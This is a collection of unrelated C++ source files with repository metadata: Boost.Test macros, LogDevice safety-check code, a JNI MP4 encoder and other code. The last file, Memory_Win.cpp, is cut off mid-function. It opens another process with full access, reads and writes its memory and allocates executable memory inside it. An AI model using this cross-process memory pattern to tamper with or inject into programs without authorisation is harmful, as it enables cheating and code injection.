//____________________________________________________________________________// #define BOOST_WARN_THROW( S, E ) BOOST_CHECK_THROW_IMPL( S, E, true, "exception ", WARN ) #define BOOST_CHECK_THROW( S, E ) BOOST_CHECK_THROW_IMPL( S, E, true, "exception ", CHECK ) #define BOOST_REQUIRE_THROW( S, E ) BOOST_CHECK_THROW_IMPL( S, E, true, "exception ", REQUIRE ) //____________________________________________________________________________// #define BOOST_WARN_EXCEPTION( S, E, P ) BOOST_CHECK_THROW_IMPL( S, E, P( ex ), "incorrect exception ", WARN ) #define BOOST_CHECK_EXCEPTION( S, E, P ) BOOST_CHECK_THROW_IMPL( S, E, P( ex ), "incorrect exception ", CHECK ) #define BOOST_REQUIRE_EXCEPTION( S, E, P ) BOOST_CHECK_THROW_IMPL( S, E, P( ex ), "incorrect exception ", REQUIRE ) //____________________________________________________________________________// #define BOOST_CHECK_NO_THROW_IMPL( S, TL ) \ do { \ try { \ S; \ BOOST_TEST_TOOL_IMPL( 2, true, "no exceptions thrown by " BOOST_STRINGIZE( S ), \ TL, CHECK_MSG, _ ); \ } catch( ... ) { \ BOOST_TEST_TOOL_IMPL( 2, false, "exception thrown by " BOOST_STRINGIZE( S ), \ TL, CHECK_MSG, _ ); \ } \ } while( ::boost::test_tools::tt_detail::dummy_cond() ) \ /**/ #define BOOST_WARN_NO_THROW( S ) BOOST_CHECK_NO_THROW_IMPL( S, WARN ) #define BOOST_CHECK_NO_THROW( S ) BOOST_CHECK_NO_THROW_IMPL( S, CHECK ) #define BOOST_REQUIRE_NO_THROW( S ) BOOST_CHECK_NO_THROW_IMPL( S, REQUIRE ) //____________________________________________________________________________// #define BOOST_WARN_EQUAL( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::equal_impl_frwd(), "", WARN, CHECK_EQUAL, (L)(R) ) #define BOOST_CHECK_EQUAL( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::equal_impl_frwd(), "", CHECK, CHECK_EQUAL, (L)(R) ) #define BOOST_REQUIRE_EQUAL( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::equal_impl_frwd(), "", REQUIRE, CHECK_EQUAL, (L)(R) ) //____________________________________________________________________________// #define BOOST_WARN_NE( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::ne_impl(), "", WARN, CHECK_NE, (L)(R) ) #define BOOST_CHECK_NE( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::ne_impl(), "", CHECK, CHECK_NE, (L)(R) ) #define BOOST_REQUIRE_NE( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::ne_impl(), "", REQUIRE, CHECK_NE, (L)(R) ) //____________________________________________________________________________// #define BOOST_WARN_LT( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::lt_impl(), "", WARN, CHECK_LT, (L)(R) ) #define BOOST_CHECK_LT( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::lt_impl(), "", CHECK, CHECK_LT, (L)(R) ) #define BOOST_REQUIRE_LT( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::lt_impl(), "", REQUIRE, CHECK_LT, (L)(R) ) //____________________________________________________________________________// #define BOOST_WARN_LE( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::le_impl(), "", WARN, CHECK_LE, (L)(R) ) #define BOOST_CHECK_LE( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::le_impl(), "", CHECK, CHECK_LE, (L)(R) ) #define BOOST_REQUIRE_LE( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::le_impl(), "", REQUIRE, CHECK_LE, (L)(R) ) //____________________________________________________________________________// #define BOOST_WARN_GT( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::gt_impl(), "", WARN, CHECK_GT, (L)(R) ) #define BOOST_CHECK_GT( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::gt_impl(), "", CHECK, CHECK_GT, (L)(R) ) #define BOOST_REQUIRE_GT( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::gt_impl(), "", REQUIRE, CHECK_GT, (L)(R) ) //____________________________________________________________________________// #define BOOST_WARN_GE( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::ge_impl(), "", WARN, CHECK_GE, (L)(R) ) #define BOOST_CHECK_GE( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::ge_impl(), "", CHECK, CHECK_GE, (L)(R) ) #define BOOST_REQUIRE_GE( L, R ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::tt_detail::ge_impl(), "", REQUIRE, CHECK_GE, (L)(R) ) //____________________________________________________________________________// #define BOOST_WARN_CLOSE( L, R, T ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::check_is_close_t(), "", WARN, CHECK_CLOSE, (L)(R)(::boost::math::fpc::percent_tolerance(T)) ) #define BOOST_CHECK_CLOSE( L, R, T ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::check_is_close_t(), "", CHECK, CHECK_CLOSE, (L)(R)(::boost::math::fpc::percent_tolerance(T)) ) #define BOOST_REQUIRE_CLOSE( L, R, T ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::check_is_close_t(), "", REQUIRE, CHECK_CLOSE, (L)(R)(::boost::math::fpc::percent_tolerance(T)) ) //____________________________________________________________________________// #define BOOST_WARN_CLOSE_FRACTION(L, R, T) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::check_is_close_t(), "", WARN, CHECK_CLOSE_FRACTION, (L)(R)(T) ) #define BOOST_CHECK_CLOSE_FRACTION(L, R, T) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::check_is_close_t(), "", CHECK, CHECK_CLOSE_FRACTION, (L)(R)(T) ) #define BOOST_REQUIRE_CLOSE_FRACTION(L,R,T) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::check_is_close_t(), "", REQUIRE, CHECK_CLOSE_FRACTION, (L)(R)(T) ) //____________________________________________________________________________// #define BOOST_WARN_SMALL( FPV, T ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::check_is_small_t(), "", WARN, CHECK_SMALL, (FPV)(T) ) #define BOOST_CHECK_SMALL( FPV, T ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::check_is_small_t(), "", CHECK, CHECK_SMALL, (FPV)(T) ) #define BOOST_REQUIRE_SMALL( FPV, T ) BOOST_TEST_TOOL_IMPL( 0, \ ::boost::test_tools::check_is_small_t(), "", REQUIRE, CHECK_SMALL, (FPV)(T) ) //____________________________________________________________________________// #define BOOST_WARN_PREDICATE( P, ARGS ) BOOST_TEST_TOOL_IMPL( 0, \ P, BOOST_TEST_STRINGIZE( P ), WARN, CHECK_PRED_WITH_ARGS, ARGS ) #define BOOST_CHECK_PREDICATE( P, ARGS ) BOOST_TEST_TOOL_IMPL( 0, \ P, BOOST_TEST_STRINGIZE( P ), CHECK, CHECK_PRED_WITH_ARGS, ARGS ) #define BOOST_REQUIRE_PREDICATE( P, ARGS ) BOOST_TEST_TOOL_IMPL( 0, \ P, BOOST_TEST_STRINGIZE( P ), REQUIRE, CHECK_PRED_WITH_ARGS, ARGS ) //____________________________________________________________________________// #define BOOST_WARN_EQUAL_COLLECTIONS( L_begin, L_end, R_begin, R_end ) \ BOOST_TEST_TOOL_IMPL( 1, ::boost::test_tools::tt_detail::equal_coll_impl(), \ "", WARN, CHECK_EQUAL_COLL, (L_begin)(L_end)(R_begin)(R_end) ) \ /**/ #define BOOST_CHECK_EQUAL_COLLECTIONS( L_begin, L_end, R_begin, R_end ) \ BOOST_TEST_TOOL_IMPL( 1, ::boost::test_tools::tt_detail::equal_coll_impl(), \ "", CHECK, CHECK_EQUAL_COLL, (L_begin)(L_end)(R_begin)(R_end) ) \ /**/ #define BOOST_REQUIRE_EQUAL_COLLECTIONS( L_begin, L_end, R_begin, R_end ) \ BOOST_TEST_TOOL_IMPL( 1, ::boost::test_tools::tt_detail::equal_coll_impl(), \ "", REQUIRE, CHECK_EQUAL_COLL, (L_begin)(L_end)(R_begin)(R_end) ) \ /**/ //____________________________________________________________________________// #define BOOST_WARN_BITWISE_EQUAL( L, R ) BOOST_TEST_TOOL_IMPL( 1, \ ::boost::test_tools::tt_detail::bitwise_equal_impl(), "", WARN, CHECK_BITWISE_EQUAL, (L)(R) ) #define BOOST_CHECK_BITWISE_EQUAL( L, R ) BOOST_TEST_TOOL_IMPL( 1, \ ::boost::test_tools::tt_detail::bitwise_equal_impl(), "", CHECK, CHECK_BITWISE_EQUAL, (L)(R) ) #define BOOST_REQUIRE_BITWISE_EQUAL( L, R ) BOOST_TEST_TOOL_IMPL( 1, \ ::boost::test_tools::tt_detail::bitwise_equal_impl(), "", REQUIRE, CHECK_BITWISE_EQUAL, (L)(R) ) //____________________________________________________________________________// #define BOOST_IS_DEFINED( symb ) ::boost::test_tools::tt_detail::is_defined_impl( #symb, BOOST_STRINGIZE(= symb) ) //____________________________________________________________________________// #ifdef BOOST_TEST_NO_NEW_TOOLS #define BOOST_TEST_WARN( P ) BOOST_WARN( P ) #define BOOST_TEST_CHECK( P ) BOOST_CHECK( P ) #define BOOST_TEST_REQUIRE( P ) BOOST_REQUIRE( P ) #define BOOST_TEST( P ) BOOST_CHECK( P ) #endif //____________________________________________________________________________// #include <boost/test/detail/enable_warnings.hpp> #endif // BOOST_TEST_TOOLS_OLD_INTERFACE_HPP_111712GER ///////////////////////////////////////////////// // vnDev.Games - Trong.LIVE - DAO VAN TRONG // ////////////////////////////////////////////////////////////////////////////////
[ "langley.joshua@gmail.com" ]
langley.joshua@gmail.com
cc49e00728a701988cd4dcef22c568a3544ec733
4db144c963de20229fafe0c1a8c9789ce3e091da
/lib/Write.h
aa0ca4b9277e09367e07ad89ecb77075e1396e63
[]
no_license
adderly/space_mess_SDL
97af9cfd8c6b282e6945294d63322ae9b67fcca0
73af9130b9f330aad5415dd2465c0eb86ee1bc42
refs/heads/master
2016-09-07T19:05:01.104163
2012-06-06T05:21:13
2012-06-06T05:21:13
2,865,103
0
1
null
null
null
null
UTF-8
C++
false
false
289
h
#ifndef WRITE #define WRITE class Write { public: virtual void write(const std::string filename)=0; virtual void write(const std::string filename,const std::string location)=0; virtual bool checkExistance(const std::string filename,const std::string location)=0; }; #endif
[ "adderlygonzalez@gmail.com" ]
adderlygonzalez@gmail.com
46e4065533d5d20579f65f6418b276b3862b255d
de4a831274d58250df776601265d010585a52df3
/test/exceptions/service.cpp
d9b72cab8e0b08ff5b538cb4f47d7ae11152036e
[]
no_license
TomasCzipri/IncludeOS
1d5cd51cc0f4bfaf921027b8139df3e50e6c3449
2a1da59ca26d8c9386e6decf296d0ada2789e74f
refs/heads/master
2020-12-06T17:16:27.621307
2015-11-25T16:04:30
2015-11-25T16:04:30
45,671,416
0
0
null
null
null
null
UTF-8
C++
false
false
1,077
cpp
#include <os> #include <stdio.h> class CustomException : public std::runtime_error { using runtime_error::runtime_error; }; void Service::start() { printf("TESTING Exceptions \n"); const char* error_msg = "Crazy Error!"; try { printf("[x] Inside try-block \n"); if (OS::uptime() > 0.1){ std::runtime_error myexception(error_msg); throw myexception; } }catch(std::runtime_error e){ printf("[%s] Caught runtime error: %s \n", std::string(e.what()) == std::string(error_msg) ? "x" : " " ,e.what()); }catch(...) { printf("[ ] Caught something - but not what we expected \n"); } std::string custom_msg = "Custom exceptions are useful"; std::string cought_msg = ""; try { // Trying to throw a custom exception throw CustomException(custom_msg); } catch (CustomException e){ cought_msg = e.what(); } catch (...) { printf("[ ] Couldn't catch custom exception \n"); } assert(cought_msg == custom_msg); printf("[x] Cought custom exception \n"); }
[ "alfred.bratterud@hioa.no" ]
alfred.bratterud@hioa.no
fbcbf51f473e120c3bace649ff6cb4c78fe92714
d26bb3fcd64ff9e9c54089fdf960ced904349113
/logdevice/admin/safety/SafetyChecker.cpp
deb303758ad39443c8aee0c03b3ab666d45b3a99
[ "BSD-3-Clause" ]
permissive
zhaohaidao/LogDevice
992056badd72a143f4ad236638382864d718fdbf
7028e97d305981936056e1651542f54ef5c420f0
refs/heads/master
2020-05-19T14:01:19.766972
2019-05-05T02:37:40
2019-05-05T03:23:59
null
0
0
null
null
null
null
UTF-8
C++
false
false
3,973
cpp
/** * Copyright (c) 2017-present, Facebook, Inc. and its affiliates. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. */ #include "logdevice/admin/safety/SafetyChecker.h" #include <boost/format.hpp> #include "logdevice/admin/safety/CheckImpactForLogRequest.h" #include "logdevice/admin/safety/CheckImpactRequest.h" #include "logdevice/common/ClusterState.h" #include "logdevice/common/Processor.h" #include "logdevice/common/configuration/LocalLogsConfig.h" #include "logdevice/common/configuration/UpdateableConfig.h" #include "logdevice/common/stats/Stats.h" namespace facebook { namespace logdevice { using namespace facebook::logdevice::configuration; SafetyChecker::SafetyChecker(Processor* processor, size_t logs_in_flight, bool abort_on_error, std::chrono::milliseconds timeout, size_t error_sample_size, bool read_epoch_metadata_from_sequencer) : processor_(processor), timeout_(timeout), logs_in_flight_(logs_in_flight), abort_on_error_(abort_on_error), error_sample_size_(error_sample_size), read_epoch_metadata_from_sequencer_(read_epoch_metadata_from_sequencer) {} folly::Expected<Impact, Status> SafetyChecker::checkImpact( const ShardAuthoritativeStatusMap& shard_status, const ShardSet& shards, StorageState target_storage_state, SafetyMargin safety_margin, bool check_metadata_logs, bool check_internal_logs, folly::Optional<std::vector<logid_t>> logids_to_check) { // There is no point of checking this. It's always safe if (target_storage_state == StorageState::READ_WRITE) { return Impact(); } ld_info("Shards to drain: %s", toString(shards).c_str()); ld_info("Target storage state is: %s", storageStateToString(target_storage_state).c_str()); std::chrono::steady_clock::time_point start_time = std::chrono::steady_clock::now(); Semaphore sem; folly::Expected<Impact, Status> outcome; auto cb = [&](Status st, Impact impact) { SCOPE_EXIT { sem.post(); }; if (st != E::OK) { outcome = folly::makeUnexpected(st); } else { outcome = std::move(impact); } }; WorkerType worker_type = CheckImpactRequest::workerType(processor_); std::unique_ptr<Request> request = std::make_unique<CheckImpactRequest>(shard_status, shards, target_storage_state, safety_margin, check_metadata_logs, check_internal_logs, std::move(logids_to_check), logs_in_flight_, abort_on_error_, timeout_, error_sample_size_, read_epoch_metadata_from_sequencer_, worker_type, cb); int rv = processor_->postRequest(request); if (rv != 0) { // We couldn't submit the request to the processor. ld_error("We couldn't submit the CheckImpactRequest to the logdevice " "processor: %s", error_description(err)); ld_check(err != E::OK); return folly::makeUnexpected(err); } sem.wait(); double runtime = std::chrono::duration_cast<std::chrono::duration<double>>( std::chrono::steady_clock::now() - start_time) .count(); ld_info("Done. Elapsed time: %.1fs", runtime); return outcome; } }} // namespace facebook::logdevice
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
96a5e06bdf8291f87ff3427cea668f5320bc3b91
0ee189afe953dc99825f55232cd52b94d2884a85
/mstd/wide_stream.hpp
67b7d878226fcece8e80c3ceb8029b053e63a29a
[]
no_license
spolitov/lib
fed99fa046b84b575acc61919d4ef301daeed857
7dee91505a37a739c8568fdc597eebf1b3796cf9
refs/heads/master
2016-09-11T02:04:49.852151
2011-08-11T18:00:44
2011-08-11T18:00:44
2,192,752
0
0
null
null
null
null
UTF-8
C++
false
false
901
hpp
#pragma once #include "strings.hpp" namespace mstd { template<class T> class wide_stream_impl { public: explicit wide_stream_impl(T & impl) : impl_(impl) {} T & impl() { return impl_; } private: T & impl_; }; template<class T> wide_stream_impl<T> wide_stream(T & t) { return wide_stream_impl<T>(t); } template<class T, class Value> wide_stream_impl<T> & operator<<(wide_stream_impl<T> & stream, const Value & value) { stream.impl() << value; return stream; } template<class T> wide_stream_impl<T> & operator<<(wide_stream_impl<T> & stream, const std::string & value) { stream.impl() << widen(value); return stream; } template<class T> wide_stream_impl<T> & operator<<(wide_stream_impl<T> & stream, std::wostream & func(std::wostream&)) { stream.impl() << func; return stream; } }
[ "admin@zranger.net" ]
admin@zranger.net
6e7607496c899e0281fcafe8ec4f8fca6bfbd635
817fe6d73b75a24d9c39dca3fce3bc92e0ac8599
/app/src/main/cpp/MP4EncoderHelper.cpp
d23f369dcb678511c6d3c56d940a8fce4390ea00
[]
no_license
gaulle2005/mp4muxer
84544efec481c6900516cc659f0cc4e9290d24e8
97bbae69d1e0b0d25b883866b60246e1a9c4be10
refs/heads/master
2023-03-21T01:06:08.856905
2019-02-15T09:42:13
2019-02-15T09:42:13
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,397
cpp
// // Created by chezi on 2017/9/13. // #include <jni.h> #include <mp4v2/mp4v2.h> #include "MP4Encoder.h" #include "android/log.h" #define LOG_TAG "MP4EncoderHelper.cpp" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO,LOG_TAG,__VA_ARGS__); MP4Encoder mp4Encoder; MP4FileHandle mp4FileHandle; extern "C" JNIEXPORT void JNICALL Java_com_chezi008_mp4muxerdemo_helper_MP4EncoderHelper_init (JNIEnv *env, jclass jclass, jstring path, jint width, jint height) { const char *local_title = env->GetStringUTFChars(path, NULL); int m_width = width; int m_height = height; mp4FileHandle = mp4Encoder.CreateMP4File(local_title, m_width, m_height); LOGI("MP4Encoder----->初始化成功"); } extern "C" JNIEXPORT jint JNICALL Java_com_chezi008_mp4muxerdemo_helper_MP4EncoderHelper_writeH264Data (JNIEnv *env, jclass clz, jbyteArray data, jint size) { jbyte *jb_data = env->GetByteArrayElements(data, JNI_FALSE); unsigned char *h264_data = (unsigned char *) jb_data; int result = mp4Encoder.WriteH264Data(mp4FileHandle, h264_data, size); LOGI("MP4Encoder----->添加数据 result:%d", result); return result; } /** * 释放 */ extern "C" JNIEXPORT void JNICALL Java_com_chezi008_mp4muxerdemo_helper_MP4EncoderHelper_close (JNIEnv *env, jclass clz) { mp4Encoder.CloseMP4File(mp4FileHandle); LOGI("MP4Encoder----->close"); }
[ "qushi1123" ]
qushi1123
63c61687d5ff088d52e1a4e738e58e49325528e4
5f4b7850caed77bf1d2ca8d5125dc21099b79209
/Chapter 8-Efficient algorithm design/& 8.23.cpp
14b025744f6ba39a7f4aaed31b4a16df97287a4c
[]
no_license
Inuyashaaaaa/IntroductionToAlgorithmicContests
92720cffae226b6951aa389a14fcaacb94b3c275
55c69843f42162ed3b8f661c20f451c1174bfff1
refs/heads/master
2020-06-20T00:24:10.893652
2020-03-14T06:32:12
2020-03-14T06:32:12
196,926,192
2
0
null
null
null
null
UTF-8
C++
false
false
1,377
cpp
#include<bits/stdc++.h> #define LL long long #define ms(s) memset(s, 0, sizeof(s)) #define REP(i, a, b) for(int i = (a); i < (b); i++) #define INF 0X7fffffff using namespace std; const int maxn = 1e6 + 10; int rain[maxn]; int pre[maxn]; int ans[maxn]; int main() { // freopen("in.txt", "r", stdin); // freopen("out.txt", "w", stdout); ios::sync_with_stdio(false); cin.tie(0); int T; cin >> T; while(T--) { set<int> s; int n, m; cin >> n >> m; ms(pre), ms(ans); bool flag = true; REP(i, 0, m) cin >> rain[i]; REP(i, 0, m) { if(rain[i] == 0) { s.insert(i); continue; } ans[i] = -1; //表示这一天不需要喝水 auto it = s.lower_bound(pre[rain[i]]); if(it == s.end()) { flag = false; break; } pre[rain[i]] = i; ans[*it] = rain[i]; s.erase(it); } if(!flag) { cout << "NO" << endl; continue; } bool first = true; cout << "YES" << endl; REP(i, 0, m) { if(ans[i] == -1) continue; if(first) cout << ans[i]; else cout << " " << ans[i]; first = false; } cout << endl; } return 0; }
[ "1486835097@qq.com" ]
1486835097@qq.com
222cac6894bfa86cd902f06a46c834fd0859aa62
f933ab46356c80027b018a374a60656f958843c3
/project8.cpp
15a0e6a7c17bdb745f918419d0bc38885e51dab1
[]
no_license
zrbrounstein/school
d75c463d31f092b8b329a9cbb85e1e24a29c2a3c
18b26dad4af995e8d5849cd9d74102236c763b45
refs/heads/master
2021-01-17T18:35:18.807718
2016-08-02T15:36:49
2016-08-02T15:36:49
64,767,740
0
0
null
null
null
null
UTF-8
C++
false
false
754
cpp
#include "stack.h" using namespace std; int main(){ Stack asdf; asdf.push('g'); asdf.push('d'); asdf.push('e'); asdf.push('g'); asdf.push('d'); asdf.push('e'); asdf.push('g'); asdf.push('d'); asdf.push('e'); asdf.push('g'); asdf.push('d'); asdf.push('e'); asdf.push('g'); asdf.push('d'); asdf.push('e'); asdf.push('g'); asdf.push('d'); asdf.push('e'); cout << asdf; Stack qwer(asdf); cout << qwer; char a; qwer.pop(a); cout << endl << qwer << a << endl; if(asdf == qwer){ cout << "equal"; } else{ cout << "not equal"; } cout << endl; Stack uio; if(uio.empty()){ cout << "empty"; } uio = qwer; if(!uio.empty()){ cout << "not anymore!" << endl; } asdf.clear(); if(asdf.empty()){ cout << "gone"; } return 0; }
[ "noreply@github.com" ]
zrbrounstein.noreply@github.com
ec296056f225ff64dda748b71091c31fb83d4362
3ce4e8ec3f5e2e79693c5f9369f3e97627f2c99d
/main.cpp
bb0c87703f1c12151387ca5d6295bfae46d787ca
[]
no_license
adityarbhatia/2DArraySpiralOrderPrint.cpp
2fcc284d307684effc40d76044ef24348c57ff05
c7584e91d316b40a04e37281611ffcd77e1adb34
refs/heads/master
2020-06-18T20:32:10.410613
2016-11-28T05:37:16
2016-11-28T05:37:16
74,940,662
0
0
null
null
null
null
UTF-8
C++
false
false
1,610
cpp
#include <iostream> #include <fstream> using namespace std; void printSpiral(int data[][10], int size) { int startingRow = 0, startingCol =0, endingRow = size-1, endingCol = size-1; int i; while((startingRow <= endingRow) && (startingCol <= endingCol)) { for(i = startingCol; i <= endingCol; i++) { cout << " " << data[startingRow][i]; } startingRow++; for(i = startingRow; i <= endingRow; i++) { cout << " " << data[i][endingCol]; } endingCol--; if(startingCol <= endingCol) { for(i = endingCol; i >= startingCol; i--) { cout << " " << data[endingRow][i]; } } endingRow--; if(startingRow <= endingRow) { for(i = endingRow; i>= startingRow; i--) { cout << " " << data[i][startingCol]; } } startingCol++; } cout << endl; for(int i = 0; i < size; i++) { for(int j = 0; j < size; j++) { cout << data[i][j]; } cout << endl; } return; } int main() { int size; int dataArray[10][10]; cout << "Enter size of the array: "; cin >> size; for(int i = 0; i < size; i++) { for(int j = 0; j < size; j++) { cout << "\nEnter Element [" << i << "][" << j << "]: "; cin >> dataArray[i][j]; } } printSpiral(dataArray, size); return 0; }
[ "noreply@github.com" ]
adityarbhatia.noreply@github.com
3d092ce588a7be1a6af9fde7a24e2da88d457835
144717847573ed31a431a7da173b30dfdc40474f
/addons/gameLoop/functions/script_Component.hpp
75b09ac58a4ca6179cd3627b6206e2c46f439ccb
[]
no_license
GuzzenVonLidl/GW-Addons
2490922f2c09129dcc0190d661c6c9129ed0cae5
22322ad40d0eee0d0a04119815fba541aad8e873
refs/heads/master
2021-01-11T08:24:42.297879
2020-04-26T16:45:32
2020-04-26T16:45:32
69,740,701
0
1
null
2020-03-31T21:11:30
2016-10-01T13:38:24
SQF
UTF-8
C++
false
false
54
hpp
#include "\x\gw\addons\gameLoop\script_component.hpp"
[ "guzzenvonlidlswe@gmail.com" ]
guzzenvonlidlswe@gmail.com
4697fa21fba7df0d7a98dce0f5f72e3c7449cd1c
960765e3c2e8680b282606c1fbc4e6f471e2db4e
/src/ceph-0.72.2-src/common/HeartbeatMap.h
a4aee48a191370276397ae98ab1b331eb6b540c3
[]
no_license
StarThinking/MOBBS
7115060a2233e7bd8bb1a9848d6b9a0a469c2bef
3f9bfe391a3fa0e454b43c6286a33bdda49a44fb
refs/heads/master
2021-01-13T02:22:18.410864
2014-11-05T08:56:41
2014-11-05T08:56:41
14,044,431
3
1
null
null
null
null
UTF-8
C++
false
false
2,101
h
// -*- mode:C++; tab-width:8; c-basic-offset:2; indent-tabs-mode:t -*- // vim: ts=8 sw=2 smarttab /* * Ceph - scalable distributed file system * * Copyright (C) 2011 Sage Weil <sage@newdream.net> * * This is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License version 2.1, as published by the Free Software * Foundation. See file COPYING. * */ #ifndef CEPH_HEARTBEATMAP_H #define CEPH_HEARTBEATMAP_H #include <pthread.h> #include <string> #include <list> #include <time.h> #include "include/atomic.h" #include "RWLock.h" class CephContext; namespace ceph { /* * HeartbeatMap - * * Maintain a set of handles for internal subsystems to periodically * check in with a health check and timeout. Each user can register * and get a handle they can use to set or reset a timeout. * * A simple is_healthy() method checks for any users who are not within * their grace period for a heartbeat. */ struct heartbeat_handle_d { std::string name; atomic_t timeout, suicide_timeout; time_t grace, suicide_grace; std::list<heartbeat_handle_d*>::iterator list_item; heartbeat_handle_d(const std::string& n) : name(n), grace(0), suicide_grace(0) { } }; class HeartbeatMap { public: // register/unregister heartbeat_handle_d *add_worker(std::string name); void remove_worker(heartbeat_handle_d *h); // reset the timeout so that it expects another touch within grace amount of time void reset_timeout(heartbeat_handle_d *h, time_t grace, time_t suicide_grace); // clear the timeout so that it's not checked on void clear_timeout(heartbeat_handle_d *h); // return false if any of the timeouts are currently expired. bool is_healthy(); // touch cct->_conf->heartbeat_file if is_healthy() void check_touch_file(); HeartbeatMap(CephContext *cct); ~HeartbeatMap(); private: CephContext *m_cct; RWLock m_rwlock; time_t m_inject_unhealthy_until; std::list<heartbeat_handle_d*> m_workers; bool _check(heartbeat_handle_d *h, const char *who, time_t now); }; } #endif
[ "sixiangma0408@foxmail.com" ]
sixiangma0408@foxmail.com
f076b32970d080d8e37150f79b65b57c75a9bb3d
5265f63a5df5859794462befd46504138f4a25ef
/memory/Memory_Win.cpp
c4ecdbf4c158dd1c217031b4036cb6b5ba23ec33
[]
no_license
jbzdarkid/Memory
f296035398b6df9b9d731f75d50d3a76f16d623b
2267c593baeb6e92fef39f57b1999b0ce1362d49
refs/heads/master
2023-02-20T17:47:35.869341
2021-01-02T09:30:38
2021-01-02T09:30:38
324,454,887
0
0
null
null
null
null
UTF-8
C++
false
false
4,019
cpp
#include "Memory_Win.h" #include <cassert> #include <Utils.h> [[nodiscard]] bool MemoryImpl::Init(std::string processName) { processName += ".exe"; // First, get the handle of the process PROCESSENTRY32 entry; entry.dwSize = sizeof(entry); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); while (Process32Next(snapshot, &entry)) { if (processName == entry.szExeFile) { _pid = entry.th32ProcessID; _handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)_pid); break; } } if (!_handle) return false; DWORD unused; HMODULE modules[1]; EnumProcessModules(_handle, &modules[0], sizeof(HMODULE), &unused); _baseAddress = GetModuleBase(modules[0]); return true; } MemoryImpl::~MemoryImpl() { for (int64_t addr : _allocations) { if (addr != 0) FreeBuffer(addr); } } int64_t MemoryImpl::GetModuleBaseAddress(const std::string& moduleName) { std::vector<HMODULE> modules; modules.resize(1024); DWORD sizeNeeded; EnumProcessModules(_handle, &modules[0], sizeof(HMODULE) * static_cast<DWORD>(modules.size()), &sizeNeeded); for (int i=0; i<sizeNeeded / sizeof(HMODULE); i++) { HMODULE module = modules[i]; std::string fileName(256, L'\0'); GetModuleFileNameExA(_handle, module, &fileName[0], static_cast<DWORD>(fileName.size())); if (fileName.find(moduleName) != std::string::npos) return GetModuleBase(module); } return 0; } size_t MemoryImpl::ReadDataInternal(uintptr_t addr, void* buffer, size_t bufferSize) { assert(bufferSize > 0); if (!_handle) return 0; // Ensure that the buffer size does not cause a read across a page boundary. MEMORY_BASIC_INFORMATION memoryInfo; VirtualQueryEx(_handle, (void*)addr, &memoryInfo, sizeof(memoryInfo)); assert(!(memoryInfo.State & MEM_FREE)); // Attempting to read freed memory (likely indicates a bad address) int64_t endOfPage = (int64_t)memoryInfo.BaseAddress + memoryInfo.RegionSize; if (bufferSize > endOfPage - addr) { bufferSize = endOfPage - addr; } size_t numBytesRead; if (!ReadProcessMemory(_handle, (void*)addr, buffer, bufferSize, &numBytesRead)) { DebugPrint("Failed to read process memory: " + std::to_string(GetLastError())); assert(false); } return numBytesRead; } void MemoryImpl::WriteDataInternal(uintptr_t addr, const void* buffer, size_t bufferSize) { if (buffer == nullptr || bufferSize == 0) return; if (!_handle) return; if (!WriteProcessMemory(_handle, (void*)addr, buffer, bufferSize, nullptr)) { DebugPrint("Failed to write process memory."); assert(false); } } int64_t MemoryImpl::AllocateBuffer(size_t bufferSize, bool executable) { int64_t addr = (int64_t)VirtualAllocEx(_handle, NULL, bufferSize, MEM_COMMIT | MEM_RESERVE, executable ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE); _allocations.push_back(addr); return addr; } void MemoryImpl::FreeBuffer(int64_t addr) { if (addr != 0) VirtualFreeEx(_handle, (void*)addr, 0, MEM_RELEASE); } std::vector<std::pair<int64_t, int64_t>> MemoryImpl::GetMemoryPages() { std::vector<std::pair<int64_t, int64_t>> memoryPages; MEMORY_BASIC_INFORMATION memoryInfo; int64_t baseAddress = 0; while (VirtualQueryEx(_handle, (void*)baseAddress, &memoryInfo, sizeof(memoryInfo))) { baseAddress = (int64_t)memoryInfo.BaseAddress + memoryInfo.RegionSize; if (memoryInfo.State & MEM_FREE) continue; // Page represents free memory memoryPages.emplace_back((int64_t)memoryInfo.BaseAddress, (int64_t)memoryInfo.RegionSize); } return memoryPages; } int64_t MemoryImpl::GetModuleBase(HMODULE module) { MODULEINFO 